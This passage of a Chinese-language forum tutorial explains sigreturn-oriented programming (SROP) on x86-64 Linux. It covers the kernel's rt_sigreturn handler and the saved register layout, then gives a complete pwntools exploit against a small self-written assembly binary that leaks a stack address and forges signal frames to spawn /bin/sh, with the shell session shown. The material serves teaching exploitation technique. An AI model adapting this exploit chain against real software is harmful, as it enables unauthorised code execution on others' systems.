[10732.866399]  stack_dump_by_kprobe_pre+0x5a/0xef0 [lde]
[10732.866406]  ? __do_sys_rt_sigreturn+0x1/0xf0
[10732.866411]  kprobe_ftrace_handler+0x10b/0x1b0
[10732.8664200xffffffffc034e0c8
[10732.866428]  ? __do_sys_rt_sigreturn+0x1/0xf0
[10732.866433]  __do_sys_rt_sigreturn+0x5/0xf0
[10732.866437]  do_syscall_64+0x55/0xb0
......
[10732.866503]  entry_SYSCALL_64_after_hwframe+0x6e/0xd8

该函数操作并不复杂,主要就是还原之前保存在栈上的上下文信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
SYSCALL_DEFINE0(rt_sigreturn)
{
    struct pt_regs *regs = current_pt_regs();
    struct rt_sigframe __user *frame;
    sigset_t set;
    unsigned long uc_flags;
 
    frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
    if (!access_ok(frame, sizeof(*frame)))
        goto badframe;
    if (__get_user(*(__u64 *)&set, (__u64 __user *)&frame->uc.uc_sigmask))
        goto badframe;
    if (__get_user(uc_flags, &frame->uc.uc_flags))
        goto badframe;
 
    set_current_blocked(&set);
 
    if (!restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags))
        goto badframe;
 
    if (restore_altstack(&frame->uc.uc_stack))
        goto badframe;
 
    return regs->ax;
 
badframe:
    signal_fault(regs, frame, "rt_sigreturn");
    return 0;
}

此时再次回到用户态程序后,程序就会接着执行处理信号前的内容。

利用思路

在整个信号处理的过程中,内核会将上下文信息保存在用户态程序的栈上,后续再通过sigreturn系统调用发出恢复信号,因为用户态栈是可读可写的,这非常方便我们进行控制,当我么规划好sigreturn所需要的栈数据并触发sigreturn系统调用时,就会让程序跳入我们的控制之内。

那么栈上的上下文信息应该如何构造呢?

被压入栈的上下文信息通过ucontext_t结构体进行描述,ucontext_t结构体中的uc_mcontext成员内的gregs记录着信号处理函数执行前的寄存器信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
---- gregs start ----
0x0000000000000000 ; 0x0000000000000064 ; 0x00007fffffffddc4 ; 0x0000000000000202 ;
0x0000000000000000 ; 0x00007fffffffe018 ; 0x0000000000403d78 ; 0x00007ffff7ffd020 ;
0x00007fffffffd990 ; 0x00000000004052a0 ; 0x00007fffffffdef0 ; 0x00007fffffffe008 ;
0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007ffff7e9ed10 ; 0x00007fffffffdee8 ;
0x00007ffff7e9ed10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ;
0x0000000000000001 ; 0x0000000000000000 ; 0x0000000000000000 ;
---- gregs end ----
 
(gdb) info registers
rax            0xfffffffffffffdfe  -514
rbx            0x7fffffffe008      140737488347144
rcx            0x7ffff7e9ed10      140737352690960
rdx            0x0                 0
rsi            0x4052a0            4215456
rdi            0x7fffffffd990      140737488345488
rbp            0x7fffffffdef0      0x7fffffffdef0
rsp            0x7fffffffdee8      0x7fffffffdee8
r8             0x0                 0
r9             0x64                100
r10            0x7fffffffddc4      140737488346564
r11            0x202               514
r12            0x0                 0
r13            0x7fffffffe018      140737488347160
r14            0x403d78            4210040
r15            0x7ffff7ffd020      140737354125344
rip            0x7ffff7e9ed10      0x7ffff7e9ed10 <__libc_pause+16>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

gregs中共包含23个寄存器,下面列出了元素0到元素22对应的寄存器名。

1
2
3
4
5
6
r8      r9      r10          r11
r12     r13     r14          r15
rdi     rsi     rbp          rbx
rdx     rax     rcx          rsp
rip     eflags  cs|gs|fs|ss  err
trapno  oldmask cr2

显然当我们控制rip寄存器及传递形参的rdi等寄存器中数值时,就可以借助sigreturn的返回操作跳转到我们期望中的位置,除此之外rsp寄存器也位于栈上,当通过pop rip(如ret)操作获取下一条程序指针时,我们就可以通过控制rsp组成利用链。

示例讲解

程序的源代码和编译命令在下方给出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
编译命令:
as -o test.o main.S
ld -s -o test test.o
 
源代码:
.text
.global _start
 
_start:
    xor %rax,%rax
    mov $0x400,%edx
    mov %rsp,%rsi
    mov %rax,%rdi
    syscall
    ret

程序并不复杂,为了基于信号返回机制完成ROP,我们这里第一步需要构造sigreturn需要的栈,在pwntool中的SigreturnFrame接口可以直接创造一个假的栈,然后再对里面的数据进行修改。

当我们想要通过execive创建进程时,首先需要考虑的就是参数问题,由于我们需要给寄存器明确指示参数的所在位置,因此我们需要知道一个栈上的地址,并利用它作为基地址填充数据。

这个程序非常简单,因此原始的栈上只包含argcargv、环境变量以及auxv,从argv开始任意的地址都是栈上的地址,程序读取0x400,如果我们可以越过首条指令,让rax为1,那么就可以泄露rsp+0x0rsp+0x400范围内的数据,并轻松的得到一个栈上的地址。

rax寄存器非常好控制,它有一个特殊用途,就是保存返回值,如果我们只读取一个字节,并让程序在结束后从mov $0x400,%edx继续运行,就可以控制rax寄存器,新发送的一个字节会覆盖rsp+0x0数据的最低位字节,当rsp+0x0处原本就存储着一个程序地址,我们再发送mov $0x400,%edx对应的最低字节数据,就可以跳过xor指令。

exploit构造

经过上面的分析后,构造出下面的exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import pwn
import time
 
pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux',
)
 
target_info = {
    'exec_path': './srop_example',
    'addr_len': 0x8,
    '_start_offset': 0x401000,
    'syscall_ret_offset': 0x40100e,
    'skip_xor_byte': 0x03,
    'sigretreturn_syscall_num': 0xf,
    'stack_addr': 0x0,
    'bin_sh_str_offset': 0x140,
}
 
'''
goto starting point three time:
    first:  read one byte, set rax = 1 and skip [xor]
    second: write to stdout [rsp+0x0 - rsp+0x400]
    three:  read next payload
'''
 
def pwn4leak_stack_info4goto():
    payload = pwn.p64(target_info['_start_offset']) * 3
    return payload
 
def pwn4leak_stack_info4write():
    payload = pwn.p8(target_info['skip_xor_byte'])
    return payload
 
def pwn4stack_set_by_sigframe():
    sigframe = pwn.SigreturnFrame()
    sigframe.rax = pwn.constants.SYS_read
    sigframe.rdi = 0x0
    sigframe.rsi = target_info['stack_addr']
    sigframe.rdx = 0x400
    sigframe.rcx = 0x0
    sigframe.r8 = 0x0
    sigframe.r9 = 0x0
    sigframe.rsp = target_info['stack_addr']
    sigframe.rip = target_info['syscall_ret_offset']
 
    payload = pwn.p64(target_info['_start_offset'])
    payload += b'A' * target_info['addr_len']
    payload += bytes(sigframe)
    return payload
 
def pwn4shell_get_by_sigframe():
    sigframe = pwn.SigreturnFrame()
    sigframe.rax = pwn.constants.SYS_execve
    sigframe.rdi = target_info['stack_addr'] + target_info['bin_sh_str_offset']
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rcx = 0x0
    sigframe.r8 = 0x0
    sigframe.r9 = 0x0
    sigframe.rsp = target_info['stack_addr']
    sigframe.rip = target_info['syscall_ret_offset']
 
    payload = pwn.p64(target_info['_start_offset'])
    payload += b'B' * target_info['addr_len']
    payload += bytes(sigframe)
    payload += b'\x00' * (target_info['bin_sh_str_offset'] - len(payload))
    payload += b'/bin/sh\x00'
    return payload
 
def pwn4sigreturn_rax_set():
    payload = pwn.p64(target_info['syscall_ret_offset'])
    payload += b'C' * 7
    return payload
 
'''
stage one   -> leak stack info
stage two   -> set stack address by sigreturn
stage three -> get shell [payload on stack] by sigreturn
'''
 
print('[--] tips: may need update new offset')
conn = pwn.process(target_info['exec_path'])
 
payload_1 = pwn4leak_stack_info4goto()
conn.send(payload_1)
time.sleep(1)
payload_2 = pwn4leak_stack_info4write()
conn.send(payload_2)
 
leak_info = conn.recv()
target_info['stack_addr'] = pwn.u64(leak_info[8:16])
print('[++] reveive: stack address = {0}'.format(hex(target_info['stack_addr'])))
 
payload_5 = pwn4sigreturn_rax_set()
 
payload_3 = pwn4stack_set_by_sigframe()
conn.send(payload_3)
time.sleep(1)
conn.send(payload_5)
time.sleep(1)
 
payload_4 = pwn4shell_get_by_sigframe()
conn.send(payload_4)
time.sleep(1)
conn.send(payload_5)
 
conn.interactive()

成功PWN

运行exploit后成功获取Shell。

1
2
3
4
5
6
7
8
9
10
11
[--] tips: may need update new offset
[+] Starting local process './srop_example': pid 3966
[++] reveive: stack address = 0x7ffc911aa323
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './srop_example' stopped with exit code 0 (pid 3966)
[*] Got EOF while sending in interactive

开启调试模式才能PWN?

在运行调试脚本的时候发现只有打开pwntool的调试开关后,才可以正常的完成PWN,否则就会失败。

1
log_level = 'debug'

失败之前会先进入交互模式,此时不管你输入什么都会立即失败,比如这里我们直接输入了回车键,然后直接收到了SIGSEGV的崩溃错误。

1
2
3
4
[*] Switching to interactive mode
$
 
Program received signal SIGSEGV, Segmentation fault.

观察rsp上的数据可以发现回车键对应的ASCII码0x0a被送进了缓冲区当中。

1
2
(gdb) x /gx $rsp
0x7fff397d9998: 0x424242424242420a

程序仍然在读取信息,这与我们进入交互模式时是与Shell进行交互的初衷有所背离。

显然有部分的信息没有发送给程序。

要知道这是一段极其简单的汇编代码,并且直接通过syscall调用的read接口,并没有给stdout等文件处理缓冲区,由于脚本发送数据的速度过快,同时又没有缓冲区进行临时的存在,导致了数据的丢失,因为开启调试模式后,调试信息的输出需要占用一定的时间,所以send会间隔一段时间后再发送,就不会产生数据丢失的情况。

我们在send之后添加sleep函数,也可也缓解这一问题。

1
2
3
import time
 
time.sleep(1)

[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!

最后于 2024-10-9 20:56 被福建炒饭乡会编辑 ,原因: 添加驱动附件
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//